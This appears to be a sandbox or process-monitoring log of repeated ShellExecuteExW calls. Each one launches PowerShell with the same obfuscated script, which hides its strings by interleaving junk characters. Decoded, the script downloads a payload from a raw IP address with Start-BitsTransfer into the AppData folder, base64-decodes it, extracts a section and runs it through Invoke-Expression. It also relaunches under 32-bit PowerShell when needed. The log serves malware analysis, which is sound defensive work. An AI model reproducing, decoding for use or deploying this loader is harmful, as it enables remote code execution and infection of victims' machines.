parameters: "Function Spildedamp9 ([String]$Tilsvi49){For($Murbrk9=1; $Murbrk9 -lt $Tilsvi49.Length-1; $Murbrk9+=(1+1)){$Filecha=$Filecha+$Tilsvi49.Substring($Murbrk9, 1)};$Filecha;}$Setli=Spildedamp9 ' h tHt p :E/C/t1 0T9m.T2s0 6V. 2 4R0T.A6T7G/ xTl oFg /REsm bEu s .Ps ePaP ';$Filecha01=Spildedamp9 'Hi eBx ';$Thurro = Spildedamp9 ' \ svy sPwOo wH6F4B\BWBiUnRd ojw sPPRo w eMr S h eSlFl \UvP1 .T0A\ pDoAw eFr sOhIegl l . eUx eK ';.($Filecha01) (Spildedamp9 'F$ I nKd iScBaEtMo 2P=J$UeVnSvB:Hwdi nUdgiDrA ') ;.($Filecha01) (Spildedamp9 'E$BTshIuFrPr o =U$lICnhdEi c aBtToI2 + $ Tsh u rSrSoS ') ;.($Filecha01) (Spildedamp9 ' $DP uCbNbPeA = B(M(Rg w m iP PwTi n 3 2S_WpFrAoScFe sgsd - F PRr o c eFsBs IMdG=T$N{UPKIAD } )K. CEoAmDm a nSd LGi n e )S s-PsOpOlBiKtI S[Pcbh aIrI]O3p4J ');.($Filecha01) (Spildedamp9 'W$ B aslKd uKrLd d s s=B $ PPu b b eR[ $ PRuKb bVe .ScIo uLnBtD-U2S] ');.($Filecha01) (Spildedamp9 ' $HZRiSo nRiF=U(UTAeRs t -DP aDt hH $FTbhSu r rAo )B -PATn d ( [ IAn t P t rC]O:F:gs i zNeG E-BeCqp D8 ) ') ;if ($Zioni) {.$Thurro $Baldurdds;} else {;$Filecha00=Spildedamp9 'BS t aSrAtI-TB i tLs TErca nXssf e rP -cSgoKuDr c e $DS eBtGlSi U-DDCeWs t iEn a tEiTo n O$ ITn d iTc aGtSoU2H ';.($Filecha01) (Spildedamp9 'J$ IOnEd i c aFtso 2G= $Heun vt: a pUpPdIa tDa ') ;.($Filecha01) (Spildedamp9 ' I mTpFo rTt - M o dbuMlTe VBLiPtTsATRr aRn s f eLrH ') ;$Indicato2=$Indicato2+'\Kanttekste.Nas';while (-not $Raaderumme) {.($Filecha01) (Spildedamp9 'S$TR aSaLd eGr uVm mPeL= ( T eBs t -BP a tTh $KI nHdti c a t oC2s)I ') ;.($Filecha01) $Filecha00;.($Filecha01) (Spildedamp9 'DSStCaOrLt -sSMl eLe pT 5U ');}.($Filecha01) (Spildedamp9 'S$USSp iTlPd eTdRa mSp = G e tS- C o nGtMeRn tG $ IBn dOipc aMtKoN2O ');.($Filecha01) (Spildedamp9 'F$JABkQtSiA E= P[ S y sPtDe mM. C o nDv eVrStS]r:T:SF rVoCm BRaisSe 6 4BSOt r i nSgT(L$BS p iDlOdFe dAa mFpS)P ');.($Filecha01) (Spildedamp9 't$MFSiCl e c hKaA2F U=S G[ SPySs tOe mT. T eMxBt . E nUcSoRdCi nMgD]M:T: ATSLC ITI .eG eJtRSTtBr iMnFgO( $ ARkLtSiS)B ');.($Filecha01) (Spildedamp9 ' $VTDe t r aN=W$ FFi l e cUhFaB2V.Ss u bTsUtOr iEn gH(S1G8 6A5I5C9 ,K1N8D8T4T7F) ');.($Filecha01) $Tetra;}"
filepath: powersell.exe
0 0

ShellExecuteExW

show_type: 0
filepath_r: powersell.exe
parameters: "Function Spildedamp9 ([String]$Tilsvi49){For($Murbrk9=1; $Murbrk9 -lt $Tilsvi49.Length-1; $Murbrk9+=(1+1)){$Filecha=$Filecha+$Tilsvi49.Substring($Murbrk9, 1)};$Filecha;}$Setli=Spildedamp9 ' h tHt p :E/C/t1 0T9m.T2s0 6V. 2 4R0T.A6T7G/ xTl oFg /REsm bEu s .Ps ePaP ';$Filecha01=Spildedamp9 'Hi eBx ';$Thurro = Spildedamp9 ' \ svy sPwOo wH6F4B\BWBiUnRd ojw sPPRo w eMr S h eSlFl \UvP1 .T0A\ pDoAw eFr sOhIegl l . eUx eK ';.($Filecha01) (Spildedamp9 'F$ I nKd iScBaEtMo 2P=J$UeVnSvB:Hwdi nUdgiDrA ') ;.($Filecha01) (Spildedamp9 'E$BTshIuFrPr o =U$lICnhdEi c aBtToI2 + $ Tsh u rSrSoS ') ;.($Filecha01) (Spildedamp9 ' $DP uCbNbPeA = B(M(Rg w m iP PwTi n 3 2S_WpFrAoScFe sgsd - F PRr o c eFsBs IMdG=T$N{UPKIAD } )K. CEoAmDm a nSd LGi n e )S s-PsOpOlBiKtI S[Pcbh aIrI]O3p4J ');.($Filecha01) (Spildedamp9 'W$ B aslKd uKrLd d s s=B $ PPu b b eR[ $ PRuKb bVe .ScIo uLnBtD-U2S] ');.($Filecha01) (Spildedamp9 ' $HZRiSo nRiF=U(UTAeRs t -DP aDt hH $FTbhSu r rAo )B -PATn d ( [ IAn t P t rC]O:F:gs i zNeG E-BeCqp D8 ) ') ;if ($Zioni) {.$Thurro $Baldurdds;} else {;$Filecha00=Spildedamp9 'BS t aSrAtI-TB i tLs TErca nXssf e rP -cSgoKuDr c e $DS eBtGlSi U-DDCeWs t iEn a tEiTo n O$ ITn d iTc aGtSoU2H ';.($Filecha01) (Spildedamp9 'J$ IOnEd i c aFtso 2G= $Heun vt: a pUpPdIa tDa ') ;.($Filecha01) (Spildedamp9 ' I mTpFo rTt - M o dbuMlTe VBLiPtTsATRr aRn s f eLrH ') ;$Indicato2=$Indicato2+'\Kanttekste.Nas';while (-not $Raaderumme) {.($Filecha01) (Spildedamp9 'S$TR aSaLd eGr uVm mPeL= ( T eBs t -BP a tTh $KI nHdti c a t oC2s)I ') ;.($Filecha01) $Filecha00;.($Filecha01) (Spildedamp9 'DSStCaOrLt -sSMl eLe pT 5U ');}.($Filecha01) (Spildedamp9 'S$USSp iTlPd eTdRa mSp = G e tS- C o nGtMeRn tG $ IBn dOipc aMtKoN2O ');.($Filecha01) (Spildedamp9 'F$JABkQtSiA E= P[ S y sPtDe mM. C o nDv eVrStS]r:T:SF rVoCm BRaisSe 6 4BSOt r i nSgT(L$BS p iDlOdFe dAa mFpS)P ');.($Filecha01) (Spildedamp9 't$MFSiCl e c hKaA2F U=S G[ SPySs tOe mT. T eMxBt . E nUcSoRdCi nMgD]M:T: ATSLC ITI .eG eJtRSTtBr iMnFgO( $ ARkLtSiS)B ');.($Filecha01) (Spildedamp9 ' $VTDe t r aN=W$ FFi l e cUhFaB2V.Ss u bTsUtOr iEn gH(S1G8 6A5I5C9 ,K1N8D8T4T7F) ');.($Filecha01) $Tetra;}"
filepath: powersell.exe
0 0

ShellExecuteExW

show_type: 0
filepath_r: powersell.exe
parameters: "Function Spildedamp9 ([String]$Tilsvi49){For($Murbrk9=1; $Murbrk9 -lt $Tilsvi49.Length-1; $Murbrk9+=(1+1)){$Filecha=$Filecha+$Tilsvi49.Substring($Murbrk9, 1)};$Filecha;}$Setli=Spildedamp9 ' h tHt p :E/C/t1 0T9m.T2s0 6V. 2 4R0T.A6T7G/ xTl oFg /REsm bEu s .Ps ePaP ';$Filecha01=Spildedamp9 'Hi eBx ';$Thurro = Spildedamp9 ' \ svy sPwOo wH6F4B\BWBiUnRd ojw sPPRo w eMr S h eSlFl \UvP1 .T0A\ pDoAw eFr sOhIegl l . eUx eK ';.($Filecha01) (Spildedamp9 'F$ I nKd iScBaEtMo 2P=J$UeVnSvB:Hwdi nUdgiDrA ') ;.($Filecha01) (Spildedamp9 'E$BTshIuFrPr o =U$lICnhdEi c aBtToI2 + $ Tsh u rSrSoS ') ;.($Filecha01) (Spildedamp9 ' $DP uCbNbPeA = B(M(Rg w m iP PwTi n 3 2S_WpFrAoScFe sgsd - F PRr o c eFsBs IMdG=T$N{UPKIAD } )K. CEoAmDm a nSd LGi n e )S s-PsOpOlBiKtI S[Pcbh aIrI]O3p4J ');.($Filecha01) (Spildedamp9 'W$ B aslKd uKrLd d s s=B $ PPu b b eR[ $ PRuKb bVe .ScIo uLnBtD-U2S] ');.($Filecha01) (Spildedamp9 ' $HZRiSo nRiF=U(UTAeRs t -DP aDt hH $FTbhSu r rAo )B -PATn d ( [ IAn t P t rC]O:F:gs i zNeG E-BeCqp D8 ) ') ;if ($Zioni) {.$Thurro $Baldurdds;} else {;$Filecha00=Spildedamp9 'BS t aSrAtI-TB i tLs TErca nXssf e rP -cSgoKuDr c e $DS eBtGlSi U-DDCeWs t iEn a tEiTo n O$ ITn d iTc aGtSoU2H ';.($Filecha01) (Spildedamp9 'J$ IOnEd i c aFtso 2G= $Heun vt: a pUpPdIa tDa ') ;.($Filecha01) (Spildedamp9 ' I mTpFo rTt - M o dbuMlTe VBLiPtTsATRr aRn s f eLrH ') ;$Indicato2=$Indicato2+'\Kanttekste.Nas';while (-not $Raaderumme) {.($Filecha01) (Spildedamp9 'S$TR aSaLd eGr uVm mPeL= ( T eBs t -BP a tTh $KI nHdti c a t oC2s)I ') ;.($Filecha01) $Filecha00;.($Filecha01) (Spildedamp9 'DSStCaOrLt -sSMl eLe pT 5U ');}.($Filecha01) (Spildedamp9 'S$USSp iTlPd eTdRa mSp = G e tS- C o nGtMeRn tG $ IBn dOipc aMtKoN2O ');.($Filecha01) (Spildedamp9 'F$JABkQtSiA E= P[ S y sPtDe mM. C o nDv eVrStS]r:T:SF rVoCm BRaisSe 6 4BSOt r i nSgT(L$BS p iDlOdFe dAa mFpS)P ');.($Filecha01) (Spildedamp9 't$MFSiCl e c hKaA2F U=S G[ SPySs tOe mT. T eMxBt . E nUcSoRdCi nMgD]M:T: ATSLC ITI .eG eJtRSTtBr iMnFgO( $ ARkLtSiS)B ');.($Filecha01) (Spildedamp9 ' $VTDe t r aN=W$ FFi l e cUhFaB2V.Ss u bTsUtOr iEn gH(S1G8 6A5I5C9 ,K1N8D8T4T7F) ');.($Filecha01) $Tetra;}"
filepath: powersell.exe
0 0

ShellExecuteExW

show_type: 0
filepath_r: powersell.exe
parameters: "Function Spildedamp9 ([String]$Tilsvi49){For($Murbrk9=1; $Murbrk9 -lt $Tilsvi49.Length-1; $Murbrk9+=(1+1)){$Filecha=$Filecha+$Tilsvi49.Substring($Murbrk9, 1)};$Filecha;}$Setli=Spildedamp9 ' h tHt p :E/C/t1 0T9m.T2s0 6V. 2 4R0T.A6T7G/ xTl oFg /REsm bEu s .Ps ePaP ';$Filecha01=Spildedamp9 'Hi eBx ';$Thurro = Spildedamp9 ' \ svy sPwOo wH6F4B\BWBiUnRd ojw sPPRo w eMr S h eSlFl \UvP1 .T0A\ pDoAw eFr sOhIegl l . eUx eK ';.($Filecha01) (Spildedamp9 'F$ I nKd iScBaEtMo 2P=J$UeVnSvB:Hwdi nUdgiDrA ') ;.($Filecha01) (Spildedamp9 'E$BTshIuFrPr o =U$lICnhdEi c aBtToI2 + $ Tsh u rSrSoS ') ;.($Filecha01) (Spildedamp9 ' $DP uCbNbPeA = B(M(Rg w m iP PwTi n 3 2S_WpFrAoScFe sgsd - F PRr o c eFsBs IMdG=T$N{UPKIAD } )K. CEoAmDm a nSd LGi n e )S s-PsOpOlBiKtI S[Pcbh aIrI]O3p4J ');.($Filecha01) (Spildedamp9 'W$ B aslKd uKrLd d s s=B $ PPu b b eR[ $ PRuKb bVe .ScIo uLnBtD-U2S] ');.($Filecha01) (Spildedamp9 ' $HZRiSo nRiF=U(UTAeRs t -DP aDt hH $FTbhSu r rAo )B -PATn d ( [ IAn t P t rC]O:F:gs i zNeG E-BeCqp D8 ) ') ;if ($Zioni) {.$Thurro $Baldurdds;} else {;$Filecha00=Spildedamp9 'BS t aSrAtI-TB i tLs TErca nXssf e rP -cSgoKuDr c e $DS eBtGlSi U-DDCeWs t iEn a tEiTo n O$ ITn d iTc aGtSoU2H ';.($Filecha01) (Spildedamp9 'J$ IOnEd i c aFtso 2G= $Heun vt: a pUpPdIa tDa ') ;.($Filecha01) (Spildedamp9 ' I mTpFo rTt - M o dbuMlTe VBLiPtTsATRr aRn s f eLrH ') ;$Indicato2=$Indicato2+'\Kanttekste.Nas';while (-not $Raaderumme) {.($Filecha01) (Spildedamp9 'S$TR aSaLd eGr uVm mPeL= ( T eBs t -BP a tTh $KI nHdti c a t oC2s)I ') ;.($Filecha01) $Filecha00;.($Filecha01) (Spildedamp9 'DSStCaOrLt -sSMl eLe pT 5U ');}.($Filecha01) (Spildedamp9 'S$USSp iTlPd eTdRa mSp = G e tS- C o nGtMeRn tG $ IBn dOipc aMtKoN2O ');.($Filecha01) (Spildedamp9 'F$JABkQtSiA E= P[ S y sPtDe mM. C o nDv eVrStS]r:T:SF rVoCm BRaisSe 6 4BSOt r i nSgT(L$BS p iDlOdFe dAa mFpS)P ');.($Filecha01) (Spildedamp9 't$MFSiCl e c hKaA2F U=S G[ SPySs tOe mT. T eMxBt . E nUcSoRdCi nMgD]M:T: ATSLC ITI .eG eJtRSTtBr iMnFgO( $ ARkLtSiS)B ');.($Filecha01) (Spildedamp9 ' $VTDe t r aN=W$ FFi l e cUhFaB2V.Ss u bTsUtOr iEn gH(S1G8 6A5I5C9 ,K1N8D8T4T7F) ');.($Filecha01) $Tetra;}"
filepath: powersell.exe
0 0

ShellExecuteExW

show_type: 0
filepath_r: powersell.exe
parameters: "Function Spildedamp9 ([String]$Tilsvi49){For($Murbrk9=1; $Murbrk9 -lt $Tilsvi49.Length-1; $Murbrk9+=(1+1)){$Filecha=$Filecha+$Tilsvi49.Substring($Murbrk9, 1)};$Filecha;}$Setli=Spildedamp9 ' h tHt p :E/C/t1 0T9m.T2s0 6V. 2 4R0T.A6T7G/ xTl oFg /REsm bEu s .Ps ePaP ';$Filecha01=Spildedamp9 'Hi eBx ';$Thurro = Spildedamp9 ' \ svy sPwOo wH6F4B\BWBiUnRd ojw sPPRo w eMr S h eSlFl \UvP1 .T0A\ pDoAw eFr sOhIegl l . eUx eK ';.($Filecha01) (Spildedamp9 'F$ I nKd iScBaEtMo 2P=J$UeVnSvB:Hwdi nUdgiDrA ') ;.($Filecha01) (Spildedamp9 'E$BTshIuFrPr o =U$lICnhdEi c aBtToI2 + $ Tsh u rSrSoS ') ;.($Filecha01) (Spildedamp9 ' $DP uCbNbPeA = B(M(Rg w m iP PwTi n 3 2S_WpFrAoScFe sgsd - F PRr o c eFsBs IMdG=T$N{UPKIAD } )K. CEoAmDm a nSd LGi n e )S s-PsOpOlBiKtI S[Pcbh aIrI]O3p4J ');.($Filecha01) (Spildedamp9 'W$ B aslKd uKrLd d s s=B $ PPu b b eR[ $ PRuKb bVe .ScIo uLnBtD-U2S] ');.($Filecha01) (Spildedamp9 ' $HZRiSo nRiF=U(UTAeRs t -DP aDt hH $FTbhSu r rAo )B -PATn d ( [ IAn t P t rC]O:F:gs i zNeG E-BeCqp D8 ) ') ;if ($Zioni) {.$Thurro $Baldurdds;} else {;$Filecha00=Spildedamp9 'BS t aSrAtI-TB i tLs TErca nXssf e rP -cSgoKuDr c e $DS eBtGlSi U-DDCeWs t iEn a tEiTo n O$ ITn d iTc aGtSoU2H ';.($Filecha01) (Spildedamp9 'J$ IOnEd i c aFtso 2G= $Heun vt: a pUpPdIa tDa ') ;.($Filecha01) (Spildedamp9 ' I mTpFo rTt - M o dbuMlTe VBLiPtTsATRr aRn s f eLrH ') ;$Indicato2=$Indicato2+'\Kanttekste.Nas';while (-not $Raaderumme) {.($Filecha01) (Spildedamp9 'S$TR aSaLd eGr uVm mPeL= ( T eBs t -BP a tTh $KI nHdti c a t oC2s)I ') ;.($Filecha01) $Filecha00;.($Filecha01) (Spildedamp9 'DSStCaOrLt -sSMl eLe pT 5U ');}.($Filecha01) (Spildedamp9 'S$USSp iTlPd eTdRa mSp = G e tS- C o nGtMeRn tG $ IBn dOipc aMtKoN2O ');.($Filecha01) (Spildedamp9 'F$JABkQtSiA E= P[ S y sPtDe mM. C o nDv eVrStS]r:T:SF rVoCm BRaisSe 6 4BSOt r i nSgT(L$BS p iDlOdFe dAa mFpS)P ');.($Filecha01) (Spildedamp9 't$MFSiCl e c hKaA2F U=S G[ SPySs tOe mT. T eMxBt . E nUcSoRdCi nMgD]M:T: ATSLC ITI .eG eJtRSTtBr iMnFgO( $ ARkLtSiS)B ');.($Filecha01) (Spildedamp9 ' $VTDe t r aN=W$ FFi l e cUhFaB2V.Ss u bTsUtOr iEn gH(S1G8 6A5I5C9 ,K1N8D8T4T7F) ');.($Filecha01) $Tetra;}"
filepath: powersell.exe
0 0

ShellExecuteExW

show_type: 0
filepath_r: powersell.exe
parameters: "Function Spildedamp9 ([String]$Tilsvi49){For($Murbrk9=1; $Murbrk9 -lt $Tilsvi49.Length-1; $Murbrk9+=(1+1)){$Filecha=$Filecha+$Tilsvi49.Substring($Murbrk9, 1)};$Filecha;}$Setli=Spildedamp9 ' h tHt p :E/C/t1 0T9m.T2s0 6V. 2 4R0T.A6T7G/ xTl oFg /REsm bEu s .Ps ePaP ';$Filecha01=Spildedamp9 'Hi eBx ';$Thurro = Spildedamp9 ' \ svy sPwOo wH6F4B\BWBiUnRd ojw sPPRo w eMr S h eSlFl \UvP1 .T0A\ pDoAw eFr sOhIegl l . eUx eK ';.($Filecha01) (Spildedamp9 'F$ I nKd iScBaEtMo 2P=J$UeVnSvB:Hwdi nUdgiDrA ') ;.($Filecha01) (Spildedamp9 'E$BTshIuFrPr o =U$lICnhdEi c aBtToI2 + $ Tsh u rSrSoS ') ;.($Filecha01) (Spildedamp9 ' $DP uCbNbPeA = B(M(Rg w m iP PwTi n 3 2S_WpFrAoScFe sgsd - F PRr o c eFsBs IMdG=T$N{UPKIAD } )K. CEoAmDm a nSd LGi n e )S s-PsOpOlBiKtI S[Pcbh aIrI]O3p4J ');.($Filecha01) (Spildedamp9 'W$ B aslKd uKrLd d s s=B $ PPu b b eR[ $ PRuKb bVe .ScIo uLnBtD-U2S] ');.($Filecha01) (Spildedamp9 ' $HZRiSo nRiF=U(UTAeRs t -DP aDt hH $FTbhSu r rAo )B -PATn d ( [ IAn t P t rC]O:F:gs i zNeG E-BeCqp D8 ) ') ;if ($Zioni) {.$Thurro $Baldurdds;} else {;$Filecha00=Spildedamp9 'BS t aSrAtI-TB i tLs TErca nXssf e rP -cSgoKuDr c e $DS eBtGlSi U-DDCeWs t iEn a tEiTo n O$ ITn d iTc aGtSoU2H ';.($Filecha01) (Spildedamp9 'J$ IOnEd i c aFtso 2G= $Heun vt: a pUpPdIa tDa ') ;.($Filecha01) (Spildedamp9 ' I mTpFo rTt - M o dbuMlTe VBLiPtTsATRr aRn s f eLrH ') ;$Indicato2=$Indicato2+'\Kanttekste.Nas';while (-not $Raaderumme) {.($Filecha01) (Spildedamp9 'S$TR aSaLd eGr uVm mPeL= ( T eBs t -BP a tTh $KI nHdti c a t oC2s)I ') ;.($Filecha01) $Filecha00;.($Filecha01) (Spildedamp9 'DSStCaOrLt -sSMl eLe pT 5U ');}.($Filecha01) (Spildedamp9 'S$USSp iTlPd eTdRa mSp = G e tS- C o nGtMeRn tG $ IBn dOipc aMtKoN2O ');.($Filecha01) (Spildedamp9 'F$JABkQtSiA E= P[ S y sPtDe mM. C o nDv eVrStS]r:T:SF rVoCm BRaisSe 6 4BSOt r i nSgT(L$BS p iDlOdFe dAa mFpS)P ');.($Filecha01) (Spildedamp9 't$MFSiCl e c hKaA2F U=S G[ SPySs tOe mT. T eMxBt . E nUcSoRdCi nMgD]M:T: ATSLC ITI .eG eJtRSTtBr iMnFgO( $ ARkLtSiS)B ');.($Filecha01) (Spildedamp9 ' $VTDe t r aN=W$ FFi l e cUhFaB2V.Ss u bTsUtOr iEn gH(S1G8 6A5I5C9 ,K1N8D8T4T7F) ');.($Filecha01) $Tetra;}"
filepath: powersell.exe
0 0

ShellExecuteExW

show_type: 0
filepath_r: powersell.exe
parameters: "Function Spildedamp9 ([String]$Tilsvi49){For($Murbrk9=1; $Murbrk9 -lt $Tilsvi49.Length-1; $Murbrk9+=(1+1)){$Filecha=$Filecha+$Tilsvi49.Substring($Murbrk9, 1)};$Filecha;}$Setli=Spildedamp9 ' h tHt p :E/C/t1 0T9m.T2s0 6V. 2 4R0T.A6T7G/ xTl oFg /REsm bEu s .Ps ePaP ';$Filecha01=Spildedamp9 'Hi eBx ';$Thurro = Spildedamp9 ' \ svy sPwOo wH6F4B\BWBiUnRd ojw sPPRo w eMr S h eSlFl \UvP1 .T0A\ pDoAw eFr sOhIegl l . eUx eK ';.($Filecha01) (Spildedamp9 'F$ I nKd iScBaEtMo 2P=J$UeVnSvB:Hwdi nUdgiDrA ') ;.($Filecha01) (Spildedamp9 'E$BTshIuFrPr o =U$lICnhdEi c aBtToI2 + $ Tsh u rSrSoS ') ;.($Filecha01) (Spildedamp9 ' $DP uCbNbPeA = B(M(Rg w m iP PwTi n 3 2S_WpFrAoScFe sgsd - F PRr o c eFsBs IMdG=T$N{UPKIAD } )K. CEoAmDm a nSd LGi n e )S s-PsOpOlBiKtI S[Pcbh aIrI]O3p4J ');.($Filecha01) (Spildedamp9 'W$ B aslKd uKrLd d s s=B $ PPu b b eR[ $ PRuKb bVe .ScIo uLnBtD-U2S] ');.($Filecha01) (Spildedamp9 ' $HZRiSo nRiF=U(UTAeRs t -DP aDt hH $FTbhSu r rAo )B -PATn d ( [ IAn t P t rC]O:F:gs i zNeG E-BeCqp D8 ) ') ;if ($Zioni) {.$Thurro $Baldurdds;} else {;$Filecha00=Spildedamp9 'BS t aSrAtI-TB i tLs TErca nXssf e rP -cSgoKuDr c e $DS eBtGlSi U-DDCeWs t iEn a tEiTo n O$ ITn d iTc aGtSoU2H ';.($Filecha01) (Spildedamp9 'J$ IOnEd i c aFtso 2G= $Heun vt: a pUpPdIa tDa ') ;.($Filecha01) (Spildedamp9 ' I mTpFo rTt - M o dbuMlTe VBLiPtTsATRr aRn s f eLrH ') ;$Indicato2=$Indicato2+'\Kanttekste.Nas';while (-not $Raaderumme) {.($Filecha01) (Spildedamp9 'S$TR aSaLd eGr uVm mPeL= ( T eBs t -BP a tTh $KI nHdti c a t oC2s)I ') ;.($Filecha01) $Filecha00;.($Filecha01) (Spildedamp9 'DSStCaOrLt -sSMl eLe pT 5U ');}.($Filecha01) (Spildedamp9 'S$USSp iTlPd eTdRa mSp = G e tS- C o nGtMeRn tG $ IBn dOipc aMtKoN2O ');.($Filecha01) (Spildedamp9 'F$JABkQtSiA E= P[ S y sPtDe mM. C o nDv eVrStS]r:T:SF rVoCm BRaisSe 6 4BSOt r i nSgT(L$BS p iDlOdFe dAa mFpS)P ');.($Filecha01) (Spildedamp9 't$MFSiCl e c hKaA2F U=S G[ SPySs tOe mT. T eMxBt . E nUcSoRdCi nMgD]M:T: ATSLC ITI .eG eJtRSTtBr iMnFgO( $ ARkLtSiS)B ');.($Filecha01) (Spildedamp9 ' $VTDe t r aN=W$ FFi l e cUhFaB2V.Ss u bTsUtOr iEn gH(S1G8 6A5I5C9 ,K1N8D8T4T7F) ');.($Filecha01) $Tetra;}"
filepath: powersell.exe
0 0

ShellExecuteExW

show_type: 0
filepath_r: powersell.exe
parameters: "Function Spildedamp9 ([String]$Tilsvi49){For($Murbrk9=1; $Murbrk9 -lt $Tilsvi49.Length-1; $Murbrk9+=(1+1)){$Filecha=$Filecha+$Tilsvi49.Substring($Murbrk9, 1)};$Filecha;}$Setli=Spildedamp9 ' h tHt p :E/C/t1 0T9m.T2s0 6V. 2 4R0T.A6T7G/ xTl oFg /REsm bEu s .Ps ePaP ';$Filecha01=Spildedamp9 'Hi eBx ';$Thurro = Spildedamp9 ' \ svy sPwOo wH6F4B\BWBiUnRd ojw sPPRo w eMr S h eSlFl \UvP1 .T0A\ pDoAw eFr sOhIegl l . eUx eK ';.($Filecha01) (Spildedamp9 'F$ I nKd iScBaEtMo 2P=J$UeVnSvB:Hwdi nUdgiDrA ') ;.($Filecha01) (Spildedamp9 'E$BTshIuFrPr o =U$lICnhdEi c aBtToI2 + $ Tsh u rSrSoS ') ;.($Filecha01) (Spildedamp9 ' $DP uCbNbPeA = B(M(Rg w m iP PwTi n 3 2S_WpFrAoScFe sgsd - F PRr o c eFsBs IMdG=T$N{UPKIAD } )K. CEoAmDm a nSd LGi n e )S s-PsOpOlBiKtI S[Pcbh aIrI]O3p4J ');.($Filecha01) (Spildedamp9 'W$ B aslKd uKrLd d s s=B $ PPu b b eR[ $ PRuKb bVe .ScIo uLnBtD-U2S] ');.($Filecha01) (Spildedamp9 ' $HZRiSo nRiF=U(UTAeRs t -DP aDt hH $FTbhSu r rAo )B -PATn d ( [ IAn t P t rC]O:F:gs i zNeG E-BeCqp D8 ) ') ;if ($Zioni) {.$Thurro $Baldurdds;} else {;$Filecha00=Spildedamp9 'BS t aSrAtI-TB i tLs TErca nXssf e rP -cSgoKuDr c e $DS eBtGlSi U-DDCeWs t iEn a tEiTo n O$ ITn d iTc aGtSoU2H ';.($Filecha01) (Spildedamp9 'J$ IOnEd i c aFtso 2G= $Heun vt: a pUpPdIa tDa ') ;.($Filecha01) (Spildedamp9 ' I mTpFo rTt - M o dbuMlTe VBLiPtTsATRr aRn s f eLrH ') ;$Indicato2=$Indicato2+'\Kanttekste.Nas';while (-not $Raaderumme) {.($Filecha01) (Spildedamp9 'S$TR aSaLd eGr uVm mPeL= ( T eBs t -BP a tTh $KI nHdti c a t oC2s)I ') ;.($Filecha01) $Filecha00;.($Filecha01) (Spildedamp9 'DSStCaOrLt -sSMl eLe pT 5U ');}.($Filecha01) (Spildedamp9 'S$USSp iTlPd eTdRa mSp = G e tS- C o nGtMeRn tG $ IBn dOipc aMtKoN2O ');.($Filecha01) (Spildedamp9 'F$JABkQtSiA E= P[ S y sPtDe mM. C o nDv eVrStS]r:T:SF rVoCm BRaisSe 6 4BSOt r i nSgT(L$BS p iDlOdFe dAa mFpS)P ');.($Filecha01) (Spildedamp9 't$MFSiCl e c hKaA2F U=S G[ SPySs tOe mT. T eMxBt . E nUcSoRdCi nMgD]M:T: ATSLC ITI .eG eJtRSTtBr iMnFgO( $ ARkLtSiS)B ');.($Filecha01) (Spildedamp9 ' $VTDe t r aN=W$ FFi l e cUhFaB2V.Ss u bTsUtOr iEn gH(S1G8 6A5I5C9 ,K1N8D8T4T7F) ');.($Filecha01) $Tetra;}"
filepath: powersell.exe
0 0

ShellExecuteExW

show_type: 0
filepath_r: powersell.exe
parameters: "Function Spildedamp9 ([String]$Tilsvi49){For($Murbrk9=1; $Murbrk9 -lt $Tilsvi49.Length-1; $Murbrk9+=(1+1)){$Filecha=$Filecha+$Tilsvi49.Substring($Murbrk9, 1)};$Filecha;}$Setli=Spildedamp9 ' h tHt p :E/C/t1 0T9m.T2s0 6V. 2 4R0T.A6T7G/ xTl oFg /REsm bEu s .Ps ePaP ';$Filecha01=Spildedamp9 'Hi eBx ';$Thurro = Spildedamp9 ' \ svy sPwOo wH6F4B\BWBiUnRd ojw sPPRo w eMr S h eSlFl \UvP1 .T0A\ pDoAw eFr sOhIegl l . eUx eK ';.($Filecha01) (Spildedamp9 'F$ I nKd iScBaEtMo 2P=J$UeVnSvB:Hwdi nUdgiDrA ') ;.($Filecha01) (Spildedamp9 'E$BTshIuFrPr o =U$lICnhdEi c aBtToI2 + $ Tsh u rSrSoS ') ;.($Filecha01) (Spildedamp9 ' $DP uCbNbPeA = B(M(Rg w m iP PwTi n 3 2S_WpFrAoScFe sgsd - F PRr o c eFsBs IMdG=T$N{UPKIAD } )K. CEoAmDm a nSd LGi n e )S s-PsOpOlBiKtI S[Pcbh aIrI]O3p4J ');.($Filecha01) (Spildedamp9 'W$ B aslKd uKrLd d s s=B $ PPu b b eR[ $ PRuKb bVe .ScIo uLnBtD-U2S] ');.($Filecha01) (Spildedamp9 ' $HZRiSo nRiF=U(UTAeRs t -DP aDt hH $FTbhSu r rAo )B -PATn d ( [ IAn t P t rC]O:F:gs i zNeG E-BeCqp D8 ) ') ;if ($Zioni) {.$Thurro $Baldurdds;} else {;$Filecha00=Spildedamp9 'BS t aSrAtI-TB i tLs TErca nXssf e rP -cSgoKuDr c e $DS eBtGlSi U-DDCeWs t iEn a tEiTo n O$ ITn d iTc aGtSoU2H ';.($Filecha01) (Spildedamp9 'J$ IOnEd i c aFtso 2G= $Heun vt: a pUpPdIa tDa ') ;.($Filecha01) (Spildedamp9 ' I mTpFo rTt - M o dbuMlTe VBLiPtTsATRr aRn s f eLrH ') ;$Indicato2=$Indicato2+'\Kanttekste.Nas';while (-not $Raaderumme) {.($Filecha01) (Spildedamp9 'S$TR aSaLd eGr uVm mPeL= ( T eBs t -BP a tTh $KI nHdti c a t oC2s)I ') ;.($Filecha01) $Filecha00;.($Filecha01) (Spildedamp9 'DSStCaOrLt -sSMl eLe pT 5U ');}.($Filecha01) (Spildedamp9 'S$USSp iTlPd eTdRa mSp = G e tS- C o nGtMeRn tG $ IBn dOipc aMtKoN2O ');.($Filecha01) (Spildedamp9 'F$JABkQtSiA E= P[ S y sPtDe mM. C o nDv eVrStS]r:T:SF rVoCm BRaisSe 6 4BSOt r i nSgT(L$BS p iDlOdFe dAa mFpS)P ');.($Filecha01) (Spildedamp9 't$MFSiCl e c hKaA2F U=S G[ SPySs tOe mT. T eMxBt . E nUcSoRdCi nMgD]M:T: ATSLC ITI .eG eJtRSTtBr iMnFgO( $ ARkLtSiS)B ');.($Filecha01) (Spildedamp9 ' $VTDe t r aN=W$ FFi l e cUhFaB2V.Ss u bTsUtOr iEn gH(S1G8 6A5I5C9 ,K1N8D8T4T7F) ');.($Filecha01) $Tetra;}"
filepath: powersell.exe
0 0

ShellExecuteExW

show_type: 0
filepath_r: powersell.exe
